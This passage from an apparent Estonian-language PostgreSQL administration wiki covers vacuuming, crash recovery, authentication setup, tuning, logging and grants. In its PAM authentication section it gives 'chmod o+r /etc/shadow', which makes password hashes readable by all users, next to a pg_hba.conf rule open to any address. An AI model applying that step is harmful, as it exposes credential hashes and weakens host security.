&lt;br /&gt;
 $ for i in `cat vacuum-tabelid.txt`; do psql -c &amp;quot;vacuum verbose analyze $i&amp;quot; -U postgres -h hostname -p5432 baasinimi \&lt;br /&gt;
   1&amp;gt; $i-1.log 2&amp;gt; $i-2.log; sleep 5; done&lt;br /&gt;
&lt;br /&gt;
* v. 8.4 - failinime järgi tabeli leidmine, kui failisüsteemis on suured failid ja tekib küsimus, millise tabeliga on nad seotud, sobib öelda nii&lt;br /&gt;
&lt;br /&gt;
 $ du -sk /data/postgresql/8.4/main/base/16400/* | sort -n | tail -n 4&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.6&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.7&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.8&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.9&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d loomaaed -f 195106 -x&lt;br /&gt;
 From database &amp;quot;loomaaed&amp;quot;:&lt;br /&gt;
  Filenode       Table Name     Oid    Schema  Tablespace&lt;br /&gt;
 ---------------------------------------------------------&lt;br /&gt;
    195106  pg_toast_195103  195106  pg_toast  pg_default&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d loomaaed -f 195103 -x&lt;br /&gt;
 From database &amp;quot;loomaaed&amp;quot;:&lt;br /&gt;
  Filenode             Table Name    Oid  Schema  Tablespace&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
    195103  tabelinimi  74224  wizard  pg_default&lt;br /&gt;
&lt;br /&gt;
Tulumusena on teada, et 195106.6 fail on seotud wizard.tabelinimi tabeliga.&lt;br /&gt;
&lt;br /&gt;
* v. 9.4 - failinime järgi tabeli leidmine, kui failisüsteemis on suured failid ja tekib küsimus, millise tabeliga on nad seotud, sobib öelda nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# \c baasinimi&lt;br /&gt;
baasinimi=# select pg_filenode_relation(0,233328054);&lt;br /&gt;
 pg_filenode_relation &lt;br /&gt;
----------------------&lt;br /&gt;
 baasinimi&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
baasinimi=# select pg_relation_filepath('tabelinimi');&lt;br /&gt;
 pg_relation_filepath &lt;br /&gt;
----------------------&lt;br /&gt;
 base/16424/233328054&lt;br /&gt;
(1 row)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi krahh===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi krahh (ingl. k. crash) on selline olukord kus andmebaasi töö on lõppenud ilma nö normaalselt andmebaasi protsesse seisates, nt öeldes&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.2 main stop&lt;br /&gt;
&lt;br /&gt;
Krahh võivad tekkida nt järgmistel juhtudel&lt;br /&gt;
&lt;br /&gt;
* seoses operatsioonisüsteemi krahhiga (nt arvutil kaob toide)&lt;br /&gt;
* andmefailide failisüsteem saab täis&lt;br /&gt;
* andmebaasi ise või mõni moodul kasutab mälu valesti ja kogu baasi töö lõpetatakse (andmebaasi teeb endale ise restardi)&lt;br /&gt;
&lt;br /&gt;
====Anmdmebaasi käivitamine peale krahhi====&lt;br /&gt;
&lt;br /&gt;
Üldiselt PostgreSQL andmebaas ei lähe krahhi tulemusena katki, andmebaas kasutab failisüsteemi sellisel viisil, et järgmisel käivitamisel jõuab baas viimase töötava seisuni (transaktsioonini) ja jätkab sealt. Midagi erilist pole teha vaja lisaks tavalisele baasi käivitamisel, logisse kirjutatakse seejuures&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====Krahh PITR varundamise ajal====&lt;br /&gt;
&lt;br /&gt;
Kui enamusel juhtudel peale krahhi toimumist piisab andmebaas tavalisel moel käivitada ja ta jätkab tööd, siis PITR backupi (st pg_start_backup/pg_stop_backup) tegemise ajal toimunud krahhi puhul on andmeklastri kataloogis ees fail, mis segab käivitumist&lt;br /&gt;
&lt;br /&gt;
 /data/postgresql/backup_label&lt;br /&gt;
&lt;br /&gt;
Samal ajal öeldakse logisse&lt;br /&gt;
&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  1 2013-03-20 12:10:25 EET 0 LOG:  database system was interrupted; last known up at 2013-03-20 12:10:09 EET&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  2 2013-03-20 12:10:25 EET 0 LOG:  could not open file &amp;quot;pg_xlog/00000001000005E600000008&amp;quot; (log file 1510, segment 8): \&lt;br /&gt;
   No such file or  directory&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  3 2013-03-20 12:10:25 EET 0 LOG:  invalid checkpoint record&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  4 2013-03-20 12:10:25 EET 0 PANIC:  could not locate required checkpoint record&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  5 2013-03-20 12:10:25 EET 0 HINT:  If you are not restoring from a backup, try removing the file &amp;quot;/data/postgresql/backup_label&amp;quot;.&lt;br /&gt;
 2013-03-20 12:10:25 EET batchmanager portaal 127.0.0.1(50593) 15969  51498b11.3e61  1 2013-03-20 12:10:25 EET 0 FATAL:  the database system is in recovery mode&lt;br /&gt;
 2013-03-20 12:10:25 EET eit1 xportal 10.100.6.75(55188) 15970  51498b11.3e62  1 2013-03-20 12:10:25 EET 0 FATAL:  the database system is in recovery mode&lt;br /&gt;
 2013-03-20 12:10:25 EET    21687  513baab9.54b7  37 2013-03-09 23:33:45 EET 0 LOG:  startup process (PID 15966) was terminated by signal 6: Aborted&lt;br /&gt;
 2013-03-20 12:10:25 EET    21687  513baab9.54b7  38 2013-03-09 23:33:45 EET 0 LOG:  aborting startup due to startup process failure&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* on näha, et baasi käivitamisega on probleem&lt;br /&gt;
* HINT annab teada, mida teha, tuleb eemaldada pg_start_backup() ütlemisega tekitatud fail backup_label&lt;br /&gt;
&lt;br /&gt;
 $ rm /data/postgresql/backup_label&lt;br /&gt;
&lt;br /&gt;
Seejärel võib baasi tavapärasel viisil edasi kasutada&lt;br /&gt;
&lt;br /&gt;
====Krahhi uurimine====&lt;br /&gt;
&lt;br /&gt;
* Kui nt PL keeles tehtud protseduur kasutab mõnda teeki, mis omakorda kasutab mõnda teeki, mida aga failisüsteemis ei ole, siis tavaliselt andmebaas crashib teatega&lt;br /&gt;
&lt;br /&gt;
 2010-05-24 16:10:09 EEST    21463  4bf28ed8.53d7  3 2010-05-18 15:58:00 EEST 0 LOG:  server process (PID 32188) exited with exit code 12&lt;br /&gt;
 2010-05-24 16:10:09 EEST    21463  4bf28ed8.53d7  4 2010-05-18 15:58:00 EEST 0 LOG:  terminating any other active server processes&lt;br /&gt;
&lt;br /&gt;
Põhjusele võib aidata jälile jõuda mainitud PID väärtust eestpoolt logist otsides, nt antud juhtumil&lt;br /&gt;
&lt;br /&gt;
 2010-05-24 16:01:19 EEST gateway portaal 127.0.0.1(57375) 32188 SELECT 4bfa789f.7dbc SELECT 1 2010-05-24 16:01:19 EEST 0 \&lt;br /&gt;
   WARNING:  error from Perl function &amp;quot;sqlora&amp;quot;: install_driver(Oracle) failed: Can't load&lt;br /&gt;
   '/usr/local/lib/perl/5.8.8/auto/DBD/Oracle/Oracle.so' for module DBD::Oracle: libclntsh.so.10.1: cannot open shared object file: \&lt;br /&gt;
   No such file or directory at /usr/lib/perl/5.8/DynaLoader.pm line 225.&lt;br /&gt;
         at line 5&lt;br /&gt;
        Compilation failed in require at line 3.&lt;br /&gt;
        Perhaps a required shared library or dll isn't installed where expected&lt;br /&gt;
         at line 11&lt;br /&gt;
 2010-05-24 16:01:19 EEST gateway portaal 127.0.0.1(57375) 32188 SELECT 4bfa789f.7dbc SELECT 2 2010-05-24 16:01:19 EEST 0 \&lt;br /&gt;
   CONTEXT:  PL/pgSQL function &amp;quot;low&amp;quot; line 2 at RETURN&lt;br /&gt;
        PL/pgSQL function &amp;quot;field&amp;quot; line 335 at assignment&lt;br /&gt;
        PL/pgSQL function &amp;quot;sisu&amp;quot; line 502 at assignment&lt;br /&gt;
        PL/pgSQL function &amp;quot;show&amp;quot; line 56 at assignment&lt;br /&gt;
 Out of memory!&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi monitooring===&lt;br /&gt;
&lt;br /&gt;
* Üheks andmebaasi oluliseks andmebaasi seisundit iseloomustavaks näitajaks on kui kaugel ta on nn wraparound ajast, arv peab olema alati alla 2g ja seda hoiab väiksena korrapärane andmebaasi vakumeerimine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT relname, age(relfrozenxid) FROM pg_class WHERE relkind = 'r';&lt;br /&gt;
 SQL&amp;gt; SELECT datname, age(datfrozenxid) FROM pg_database;&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi sisemisi näitajaid sobib kasutada Cactiga graafikute joonistamiseks või Nagiosegaga alarmi saatmiseks, nt http://bucardo.org/wiki/Check_postgres.&lt;br /&gt;
&lt;br /&gt;
Kasulikud materjalid&lt;br /&gt;
&lt;br /&gt;
* http://kuutorvaja.eenet.ee/wiki/Nagiose_kasutamine_Debian_Lenniga#PostgreSQL&lt;br /&gt;
&lt;br /&gt;
===Failisüsteemi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Tekst http://www.postgresql.org/docs/9.0/static/storage-file-layout.html kirjeldab kuidas PostgreSQL andmebaas kasutab failisüsteemi&lt;br /&gt;
&lt;br /&gt;
 faili-või kataooginimi	  Kirjeldus&lt;br /&gt;
 PG_VERSION	          A file containing the major version number of PostgreSQL&lt;br /&gt;
 base	                  Subdirectory containing per-database subdirectories&lt;br /&gt;
 global	                  Subdirectory containing cluster-wide tables, such as pg_database&lt;br /&gt;
 pg_clog	          Subdirectory containing transaction commit status data&lt;br /&gt;
 pg_multixact	          Subdirectory containing multitransaction status data (used for shared row locks)&lt;br /&gt;
 pg_notify	          Subdirectory containing LISTEN/NOTIFY status data&lt;br /&gt;
 pg_stat_tmp	          Subdirectory containing temporary files for the statistics subsystem&lt;br /&gt;
 pg_subtrans	          Subdirectory containing subtransaction status data&lt;br /&gt;
 pg_tblspc	          Subdirectory containing symbolic links to tablespaces&lt;br /&gt;
 pg_twophase         	  Subdirectory containing state files for prepared transactions&lt;br /&gt;
 pg_xlog	          Subdirectory containing WAL (Write Ahead Log) files&lt;br /&gt;
 postmaster.opts	  A file recording the command-line options the server was last started with&lt;br /&gt;
 postmaster.pid	          A lock file recording the current server PID and shared memory segment ID (not present after server shutdown&lt;br /&gt;
&lt;br /&gt;
Andmebaaside OID väärtusi kasutadakse failisüteemis kataloogis base asuvate andmebaasidele vastavate kataloogide nimedena&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT datname, oid FROM pg_database;&lt;br /&gt;
&lt;br /&gt;
Andmebaasi kataloogis asub selliseid faile&lt;br /&gt;
&lt;br /&gt;
* tabelitele ja indeksitele vastavad failid, mille nimedena kasutatakse üldiselt vastavad OID väärtusi&lt;br /&gt;
* tabeli ja indeksi failiga kaasnevad vastavad *_fsm ja *_vm failid, mis on vastavalt free space map ning visibility map&lt;br /&gt;
* kui tabeli 8kB suurusse pagesse ei mahu tabeli rida ära, siis kasutatakse vastavate andmete hoidmiseks TOAST (The Oversized-Attribute Storage Technique) faili&lt;br /&gt;
* kui tabeli on üle 1 GB suur, siis hoitakse vastavaid andmeid OID.1, OID.2 jne nimelistes failides&lt;br /&gt;
&lt;br /&gt;
Tabeli nimi, oid väärtuse, kasutatud 8kB lehted ja tabelis sisalduvate korteežide arvu kohta saab küsida selliselt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select relname, oid, relpages, reltuples from pg_class limit 10;&lt;br /&gt;
          relname          |  oid  | relpages | reltuples &lt;br /&gt;
 --------------------------+-------+----------+-----------&lt;br /&gt;
  priidutabel              |  1247 |        7 |       283&lt;br /&gt;
  marditabel               | 11550 |        0 |         0&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
contrib utiliit oid2name abil saab küsida oid väärtusele vastavat tabelinime&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d rsyslog -f 2755 -x &lt;br /&gt;
 From database &amp;quot;loomdb&amp;quot;:&lt;br /&gt;
   Filenode             Table Name   Oid      Schema  Tablespace&lt;br /&gt;
 ---------------------------------------------------------------&lt;br /&gt;
       2755            priidutabel  2755       priit  pg_default&lt;br /&gt;
&lt;br /&gt;
===Kasutaja autentimine===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi toimub andmebaasi kasutaja autentimine selliselt, et&lt;br /&gt;
&lt;br /&gt;
* baasi saab üle võrgu sisse logida baasis kirjeldatud kasutaja oma baasis kirjeldatud parooliga&lt;br /&gt;
* baasi saab lokaalselt sisse logida kasutaja, kelle unix kasutajanimi klapib baasis kirjeldatud kasutajanimega&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine /etc/passwd abil====&lt;br /&gt;
&lt;br /&gt;
Andmebaasi kasutaja autentimiseks nö süsteemi lokaalse kasutajana sobib kasutada pg_hba.conf failis nt rida&lt;br /&gt;
&lt;br /&gt;
 host all all 0.0.0.0/0 pam&lt;br /&gt;
&lt;br /&gt;
ning muuta /etc/shadow faili loabit, seejuures tuleb ise hinnata, kas see muudatus on aktsepteeritav&lt;br /&gt;
&lt;br /&gt;
 # chmod o+r /etc/shadow&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine Kerberosega====&lt;br /&gt;
&lt;br /&gt;
Kerberose kasutaja autentimiseks Kerberosega peab olema kasutada Kerberose infrastruktuur, nt selline nagu kirjeldatud tekstis [[:MIT Kerberose kasutamine Debianiga]]. Lisaks tuleb&lt;br /&gt;
&lt;br /&gt;
* moodustada andmebaasiarvuti PostgreSQL teenusele vastav Kerberose osapool öeldes andmebaasi arvutis kasutajana postgres&lt;br /&gt;
&lt;br /&gt;
 $ kadmin -p root/admin -q &amp;quot;addprinc postgres/postgresql.loomaaed&amp;quot;&lt;br /&gt;
 $ kadmin -p root/admin -q &amp;quot;ktadd -k /etc/postgresql-common/krb5.keytab postgres/postgresql.loomaaed&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kasutada pg_hba.conf failis sarnast rida&lt;br /&gt;
&lt;br /&gt;
 # TYPE  DATABASE    USER    CIDR-ADDRESS        METHOD&lt;br /&gt;
 ...&lt;br /&gt;
 host    all         all     192.168.10.205/32   gss&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et kerberose kasutaja nimi langeb kokku andmebaasi kasutaja nimega saab seejärel kasutaja andmebaasi sisse logida öeldes tavalisel moel&lt;br /&gt;
&lt;br /&gt;
 $ psql -h postgresql.loomaaed -U priit priit&lt;br /&gt;
&lt;br /&gt;
Samuti toetab PgAdmin3 GSSAPI kasutamist.&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine PAM + LDAP kataloogiga====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et süsteemis on PAM LDAP backend kasutamine ettevalmistatud sobib PostgreSQL kasutajate LDAP kataloogi vastu autentimiseks&lt;br /&gt;
&lt;br /&gt;
* PostgreSQL pg_hba.conf seadistusfailis kasutada nt rida&lt;br /&gt;
&lt;br /&gt;
 host    all         all        127.0.0.1/32 pam pamservice=postgresql&lt;br /&gt;
&lt;br /&gt;
* /etc/pam.d/postgresql failis kasutada ridu (pamservice parameeter näitab PAM teenuse nime)&lt;br /&gt;
&lt;br /&gt;
 auth    sufficient      pam_ldap.so&lt;br /&gt;
 account sufficient      pam_ldap.so&lt;br /&gt;
&lt;br /&gt;
Oluline on tähele panna, et antud asjakorralduse puhul peab PostgreSQL andmebaasis olema kõnealune kasutaja olemas ja tema privileegid kirjeldatud, ainult autentimine toimub PAM+LDAP abil.&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine Active Directory vastu====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi tuunimine===&lt;br /&gt;
&lt;br /&gt;
Aadressil http://wiki.postgresql.org/wiki/Performance_Optimization on toodud mitmeid viiteid tekstidele, kuidas admebaasi seadistusfaili sobivate seadistuste valimisel suurendada andmebaasi jõudlust.&lt;br /&gt;
&lt;br /&gt;
* shared_buffers - kui arvutis ei tööta muid olulisi protsesse peale andmebaasi, siis võiks selle parameetri väärtus olla 1/4 operatsioonisüsteemi mälust (RAM); seejuures tuleb tõenäoliselt suurendada ka kernel.shmmax parameetri väärtust, nt pooleli ram'ist, nt kui ram on 4g, siis sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # sysctl -w kernel.shmmax=2147483648&lt;br /&gt;
&lt;br /&gt;
Tavaliselt on kernel.shmall väärtus piisavalt suur, see väljendab kogu jagatud mälu suurust süsteemis page ühikutes (4 kB x86 raual); nt 2097152 = 8G&lt;br /&gt;
&lt;br /&gt;
PostgeSQL enda manuaalis on vastavad juhised aadressil http://www.postgresql.org/docs/8.3/interactive/kernel-resources.html.&lt;br /&gt;
&lt;br /&gt;
* max_connections = 750&lt;br /&gt;
* superuser_reserved_connections = 8&lt;br /&gt;
* work_mem - &lt;br /&gt;
* maintainance_work_mem -&lt;br /&gt;
* effective_cache_size - pool arvuti mälu suurusest&lt;br /&gt;
&lt;br /&gt;
shmall ja shmmax arvutamiseks sobib nt selline skript, http://www.postgresql.org/message-id/4D3B1F75.8040405@2ndquadrant.com&lt;br /&gt;
&lt;br /&gt;
 page_size=`getconf PAGE_SIZE`&lt;br /&gt;
 phys_pages=`getconf _PHYS_PAGES`&lt;br /&gt;
 &lt;br /&gt;
 if [ -z &amp;quot;$page_size&amp;quot; ]; then&lt;br /&gt;
   echo Error:  cannot determine page size&lt;br /&gt;
   exit 1&lt;br /&gt;
 fi&lt;br /&gt;
 &lt;br /&gt;
 if [ -z &amp;quot;$phys_pages&amp;quot; ]; then&lt;br /&gt;
   echo Error:  cannot determine number of memory pages&lt;br /&gt;
   exit 2&lt;br /&gt;
 fi&lt;br /&gt;
 &lt;br /&gt;
 shmall=`expr $phys_pages / 2`&lt;br /&gt;
 shmmax=`expr $shmall \* $page_size`&lt;br /&gt;
 &lt;br /&gt;
 echo \# Maximum shared segment size in bytes&lt;br /&gt;
 echo kernel.shmmax = $shmmax&lt;br /&gt;
 echo \# Maximum number of shared memory segments in pages&lt;br /&gt;
 echo kernel.shmall = $shmall&lt;br /&gt;
&lt;br /&gt;
256 GB mäluga arvutis annab ta sellise tulemuse&lt;br /&gt;
&lt;br /&gt;
 # sh shmsetup&lt;br /&gt;
 # Maximum shared segment size in bytes&lt;br /&gt;
 kernel.shmmax = 135512178688&lt;br /&gt;
 # Maximum number of shared memory segments in pages&lt;br /&gt;
 kernel.shmall = 33084028&lt;br /&gt;
&lt;br /&gt;
Debian Wheezy, Ubuntu 12.04 jt keskkondade ja PGDG andmebaasi puhul paigutatakse need parameetrid /etc/sysctl.d/30-postgresql-shm.conf seadistusfaili.&lt;br /&gt;
&lt;br /&gt;
Kui work_mem väärtus on liig väike, siis kasutatakse tmp faile, nende kasutamisest aitab aimu saada log_temp_files parameeter&lt;br /&gt;
&lt;br /&gt;
 #log_temp_files = -1                    # log temporary files equal or larger&lt;br /&gt;
                                         # than the specified size in kilobytes;&lt;br /&gt;
                                         # -1 disables, 0 logs all temp files&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://pgtune.leopard.in.ua/&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi tehtud ühenduste logimiseks sobib kasutada ridu&lt;br /&gt;
&lt;br /&gt;
 log_connections = on&lt;br /&gt;
 log_disconnections = on&lt;br /&gt;
&lt;br /&gt;
* kasutaja päringute logimiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER USER gateway SET log_statement = 'all';&lt;br /&gt;
&lt;br /&gt;
kuna see täidab tõenäoliselt hästi failisüsteemi, tuleb peale kasutamist logimine uuesti välja lülitada&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER USER gateway SET log_statement = 'none';&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* pg_dump ei salvesta andmebaasi search_path'i, see peale baasi taastamist tuleb sobiv alter lause eraldi öelda, nt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER DATABASE loomaaed SET search_path=loom, lind;&lt;br /&gt;
&lt;br /&gt;
* kasutaja search_path seadmine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; dvk=# ALTER USER dkk_admin SET search_path = dkk, public;&lt;br /&gt;
&lt;br /&gt;
* Kui andmebaasi arhiivifaili sisselugemisel keelega seotud teegi asukoht muutub, siis sobib teha kas sobib link, nt&lt;br /&gt;
&lt;br /&gt;
 # ln -s /usr/lib/postgresql/8.3/lib/plpgsql.so /usr/local/postgresql/lib/plpgsql.so&lt;br /&gt;
&lt;br /&gt;
või moodustada nö käsitsi vastav keel enne arhiivifaili kasutamist&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; CREATE LANGUAGE plpgsql;&lt;br /&gt;
&lt;br /&gt;
* Suuremate nö bulk-insertide puhul on normaalne, et logisse ilmuvad sellised teated&lt;br /&gt;
&lt;br /&gt;
 2010-06-14 13:40:17 EEST    3260  4c07e97c.cbc  135 2010-06-03 20:42:20 EEST 0 LOG:  checkpoints are occurring too frequently \&lt;br /&gt;
   (21 seconds apart)&lt;br /&gt;
 2010-06-14 13:40:17 EEST    3260  4c07e97c.cbc  136 2010-06-03 20:42:20 EEST 0 HINT:  Consider increasing the configuration \&lt;br /&gt;
   parameter &amp;quot;checkpoint_segments&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Kõigile baasi tabelitele, mis võivad asuda erinevates skeemides grantide ütlemine&lt;br /&gt;
&lt;br /&gt;
 $ psql -h 127.0.0.1 -U kasutaja baas -c '\dt' | egrep &amp;quot;data|public|wizard|live&amp;quot; | awk '{ print $1 &amp;quot;.&amp;quot; $3}' &amp;gt; baas.tabelid&lt;br /&gt;
 $ for i in `cat baas.tabelid`; do psql -h 127.0.0.1 -U kasutaja baas -c &amp;quot;GRANT SELECT ON TABLE $i TO grupinimi;&amp;quot;; done&lt;br /&gt;
&lt;br /&gt;
* sequence viimase väärtuse küsimune, last_value asemele võib kirjutada ka *&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# select last_value from skeeminimi.sq_tabelinimi_id;&lt;br /&gt;
 last_value &lt;br /&gt;
 ------------&lt;br /&gt;
    1009492&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
* Kui ühenduste arv (max_connections) on täis, siis logitakse&lt;br /&gt;
&lt;br /&gt;
 2016-07-22 13:49:35 EEST rakendus rakendus 10.100.7.168(38576) 12756 startup 5791fa3f.31d4 startup 1 \&lt;br /&gt;
   2016-07-22 13:49:35 EEST 0 FATAL:  remaining connection slots are reserved for non-replication superuser connections&lt;br /&gt;
&lt;br /&gt;
===Ligipääsude massiline haldamine===&lt;br /&gt;
&lt;br /&gt;
====Skeemid====&lt;br /&gt;
&lt;br /&gt;
Tõenäoliselt saab nii nö päris schemade nimekirja&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select * from information_schema.schemata where schema_owner != 'postgres';&lt;br /&gt;
&lt;br /&gt;
Kõigile skeemidele portaal_ro non-login rollile USAGE privileegi andmine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select 'GRANT USAGE ON ' || schema_name || ' TO portaal_ro;' from information_schema.schemata where schema_owner != 'postgres';&lt;br /&gt;
&lt;br /&gt;
====Tabelid====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====20171017 täiendus====&lt;br /&gt;
&lt;br /&gt;
Skeemi public kõigile tabelitele lugemise ligipääsu andmine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SQL&amp;gt; create role wiki_ro;&lt;br /&gt;
SQL&amp;gt; \c baasinimi&lt;br /&gt;
SQL&amp;gt; GRANT SELECT ON ALL TABLES IN SCHEMA public TO wiki_ro;&lt;br /&gt;
SQL&amp;gt; GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO wiki_ro;&lt;br /&gt;
SQL&amp;gt; create role wiki_bi login;&lt;br /&gt;
SQL&amp;gt; grant wiki_ro to wiki_bi;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://jamie.curle.io/creating-a-read-only-user-in-postgres&lt;br /&gt;
&lt;br /&gt;
===PostgreSQL SSL toe kasutamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Extensionite kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; select * from pg_available_extensions order by name;&lt;br /&gt;
&lt;br /&gt;
===pg_buffercache===&lt;br /&gt;
&lt;br /&gt;
pg_buffefrcache on contrib moodul, kasutamiseks tuleb laadida baasi abivahendid&lt;br /&gt;
&lt;br /&gt;
 $ psql -p 5432 -U postgres -d pgbench -f /usr/share/postgresql/9.0/contrib/pg_buffercache.sql&lt;br /&gt;
&lt;br /&gt;
===Baasi kustutamine===&lt;br /&gt;
&lt;br /&gt;
Reeglina ei saa kustuta create database andmebaasi kui seal on kasutajad küljes, selle vastu võiks aidata selline skript&lt;br /&gt;
&lt;br /&gt;
 # cat kustuta-test-baas.sh&lt;br /&gt;
 /bin/su - postgres -c &amp;quot;psql -U postgres -c \&amp;quot;update pg_database set datallowconn = 'false' where datname = 'test'; \&amp;quot;&amp;quot;&lt;br /&gt;
 /bin/su - postgres -c &amp;quot;psql -U postgres -c \&amp;quot;select pg_terminate_backend(procpid) from pg_stat_activity where datname = 'test'; \&amp;quot;&amp;quot;&lt;br /&gt;
 dropdb -U testija test 1&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
===pg_dump skriptiga töötamine===&lt;br /&gt;
&lt;br /&gt;
Tabelinimede küsimine&lt;br /&gt;
&lt;br /&gt;
 $ sed '/^CREATE TABLE/!d' baas.sql&lt;br /&gt;
&lt;br /&gt;
Esitada tabeli loomised ridade numbritega&lt;br /&gt;
&lt;br /&gt;
 $ sed -n '/^CREATE TABLE/{=;p}' baas.sql&lt;br /&gt;
&lt;br /&gt;
COPY vahemiku otsimine&lt;br /&gt;
&lt;br /&gt;
sed -n '/^COPY/{=;p}' baas.sql &amp;gt; vahemik.sql&lt;br /&gt;
&lt;br /&gt;
Ridade vahemiku esitamine&lt;br /&gt;
&lt;br /&gt;
 $ sed -n '15994,16041p' baas.sql &amp;gt; vahemik.sql&lt;br /&gt;
&lt;br /&gt;
Rea eraldamine failist&lt;br /&gt;
&lt;br /&gt;
 $ grep ^622087 vahemik.sql &amp;gt; baas-tabel-copy-622087.sql&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* Baasis parasjagu toimuvate tegevuste nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# select  datname,usename,procpid,client_addr,waiting,query_start,current_query FROM pg_stat_activity;&lt;br /&gt;
  datname  | usename  | procpid |  client_addr  | waiting |          query_start          |                                            current_query                  &lt;br /&gt;
 ----------+----------+---------+---------------+---------+-------------------------------+------------------------------------------------------------------------------------------------------&lt;br /&gt;
  postgres | postgres |    2424 |               | f       | 2013-03-08 10:37:24.551676+02 | select  datname,usename,procpid,client_addr,waiting,query_start,current_query FROM pg_stat_activity;&lt;br /&gt;
  prtaal   | postgres |    1673 | 172.19.10.142 | t       | 2013-03-08 09:49:11.287969+02 | SELECT count(*) AS rows FROM ONLY pw.logi&lt;br /&gt;
  prtaal   | postgres |   21303 |               | f       | 2013-03-08 09:22:40.516297+02 | ALTER TABLE ONLY logi&lt;br /&gt;
                                                                                         :     ADD CONSTRAINT logi_pkey PRIMARY KEY (log_id);&lt;br /&gt;
&lt;br /&gt;
* Suuremate tabelite nimekirja esitamine, koos vastavate indexite ja toastidega&lt;br /&gt;
&lt;br /&gt;
 SELECT nspname || '.' || relname AS &amp;quot;relation&amp;quot;,&lt;br /&gt;
    pg_size_pretty(pg_total_relation_size(C.oid)) AS &amp;quot;size&amp;quot;&lt;br /&gt;
   FROM pg_class C&lt;br /&gt;
   LEFT JOIN pg_namespace N ON (N.oid = C.relnamespace)&lt;br /&gt;
   WHERE nspname NOT IN ('pg_catalog', 'information_schema') and relkind='r'&lt;br /&gt;
   ORDER BY pg_total_relation_size(C.oid) DESC&lt;br /&gt;
   LIMIT 20;&lt;br /&gt;
&lt;br /&gt;
* pg_controldata programmiga saab küsida infot andmeklustri kohta, protsessid võiksid sel ajal pigem mitte töötada&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.2/bin/pg_controldata /var/lib/postgresql/9.2/main &lt;br /&gt;
 pg_control version number:            922&lt;br /&gt;
 Catalog version number:               201204301&lt;br /&gt;
 Database system identifier:           6004185537552842495&lt;br /&gt;
 Database cluster state:               in production&lt;br /&gt;
